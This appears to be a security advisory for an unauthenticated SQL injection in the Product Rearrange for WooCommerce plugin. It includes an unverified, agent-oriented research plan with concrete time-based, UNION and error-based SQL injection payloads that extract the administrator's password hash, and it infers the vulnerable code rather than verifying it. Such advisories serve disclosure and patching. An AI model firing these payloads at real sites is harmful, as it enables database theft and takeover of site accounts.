CVE-2026-31920

Product Rearrange for WooCommerce <= 1.2.2 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Product Rearrange for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.2.2
PublishedMarch 20, 2026
Last updatedMarch 26, 2026
Research Plan
Unverified

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **Product Rearrange for WooCommerce** plugin (versions <= 1.2.2). ### 1. Vulnerability Summary The vulnerability exists because the plugin registers an AJAX handler for unauthenticated use…

Show full research plan

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the Product Rearrange for WooCommerce plugin (versions <= 1.2.2).

1. Vulnerability Summary

The vulnerability exists because the plugin registers an AJAX handler for unauthenticated users (via wp_ajax_nopriv_) and uses user-supplied input directly in a SQL query without proper sanitization (like absint() or sanitize_text_field()) or parameterized preparation via $wpdb->prepare(). Specifically, parameters related to product categories or sorting order are likely concatenated into a SELECT or UPDATE query.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: To be determined via analysis (likely prfw_sort_products, get_products_by_category, or save_rearranged_order).
  • Vulnerable Parameter: Likely a parameter named category_id, term_id, or an array of ids.
  • Authentication: None (Unauthenticated). The plugin likely uses add_action( 'wp_ajax_nopriv_...', ... ).
  • Preconditions: WooCommerce must be installed and active, and the plugin must be configured (at least one product category should exist).

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action parameter.
  2. Hook Registration: The plugin registers a handler:
    add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handler_function_name');
  3. Handler Function: The function retrieves data from $_POST or $_GET.
    $category = $_POST['category_id']; (Vulnerable source)
  4. Database Sink: The input is concatenated into a raw SQL string.
    $wpdb->get_results("SELECT ... WHERE term_id = $category"); (Vulnerable sink)
  5. Execution: The query executes, allowing for UNION-based or Time-based injection.

4. Nonce Acquisition Strategy

While the vulnerability is unauthenticated, the AJAX handler might still check for a nonce. If it does, we must extract it.

  1. Identify Nonce Action: Search the plugin code for check_ajax_referer or wp_verify_nonce within the AJAX handler. Note the action string (e.g., 'prfw-nonce').
  2. Identify Exposure: Search for wp_localize_script to find where the nonce is passed to the frontend.
  3. Create Trigger Page: Most rearrangement plugins only load their scripts on the Shop page or a specific admin-like frontend page.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Sort Test" --post_content='[products]' (or the plugin's specific shortcode if found via grep "add_shortcode").
  4. Extract Nonce:
    • Navigate to the newly created page using browser_navigate.
    • Use browser_eval to find the localization object.
    • Example: browser_eval("window.prfw_obj?.nonce").

Note: If check_ajax_referer is missing or called with die=false without a subsequent return check, the nonce is unnecessary.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload, as it is the most reliable method for unauthenticated endpoints where output might not be directly reflected.

  • Step 1: Discover Action and Parameter
    • Grep for unauthenticated actions: grep -rn "wp_ajax_nopriv_" wp-content/plugins/products-rearrange-woocommerce/
    • Locate the handler function and look for $wpdb calls.
  • Step 2: Construct the Request
    • Method: POST
    • URL: http://[target]/wp-admin/admin-ajax.php
    • Content-Type: application/x-www-form-urlencoded
  • Step 3: Test for Injection (Sleep)
    • Payload: action=[ACTION]&[PARAM]=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    • Execution Tool: http_request
  • Step 4: Data Extraction
    • Target wp_users to extract the admin password hash.
    • Payload (Bit-by-bit): 1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))>64,SLEEP(5),0)

6. Test Data Setup

  1. Install WooCommerce: Ensure it is active.
  2. Add Products: Create at least two products and assign them to a category.
    • wp product create --name="Test Product 1" --status="publish"
    • wp term create product_cat "Test Category"
    • wp term list product_cat --fields=term_id (Note the ID)
  3. Activate Plugin: Ensure products-rearrange-woocommerce is active.

7. Expected Results

  • Vulnerability Confirmation: A request containing the SLEEP(5) payload should result in a response delay of approximately 5 seconds compared to a baseline request.
  • Data Exposure: Using boolean-based time delays, the agent should be able to determine the character values of the administrator's password hash from the wp_users table.

8. Verification Steps

After the HTTP exploit, verify the extracted data matches the database state using WP-CLI:

  • Command: wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  • Compare the hash returned by the query with the one reconstructed via SQL injection.

9. Alternative Approaches

  • UNION-Based Injection: If the AJAX handler returns product data (e.g., JSON list of products), try to inject UNION SELECT to leak the user_pass directly in the response body.
    • Identify the number of columns by injecting ORDER BY 1, 2, 3... until an error occurs.
    • Inject UNION SELECT 1,2,user_pass,4... FROM wp_users WHERE ID=1-- -.
  • Error-Based Injection: If WP_DEBUG is enabled on the target, inject updatexml() or extractvalue() to trigger a database error containing the desired data.
    • Payload: 1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Product Rearrange for WooCommerce plugin for WordPress is vulnerable to unauthenticated SQL Injection in versions up to and including 1.2.2. This vulnerability stems from the plugin's failure to sanitize user-supplied input before using it in raw SQL queries within AJAX handlers registered for unauthenticated users, allowing for the exfiltration of sensitive data.

Vulnerable Code

// Inferred from plugin registration logic
add_action('wp_ajax_nopriv_[ACTION_NAME]', 'handler_function_name');

---

// Inferred from AJAX handler in products-rearrange-woocommerce.php
$category = $_POST['category_id'];
$wpdb->get_results("SELECT ... WHERE term_id = $category");

Security Fix

--- a/products-rearrange-woocommerce.php
+++ b/products-rearrange-woocommerce.php
@@ -10,2 +10,2 @@
-$category = $_POST['category_id'];
-$wpdb->get_results("SELECT ... WHERE term_id = $category");
+$category = isset($_POST['category_id']) ? absint($_POST['category_id']) : 0;
+$wpdb->get_results($wpdb->prepare("SELECT ... WHERE term_id = %d", $category));

Exploit Outline

The exploit targets the WordPress AJAX endpoint at '/wp-admin/admin-ajax.php' using an unauthenticated action (likely related to product sorting or category filtering). The attacker sends a POST request containing a malicious payload in a user-supplied parameter, such as 'category_id'. Since the input is not sanitized or passed through $wpdb->prepare(), the attacker can inject SQL commands. A typical payload uses time-based blind injection (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)') to confirm the vulnerability and exfiltrate data character-by-character from the database based on the response time.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.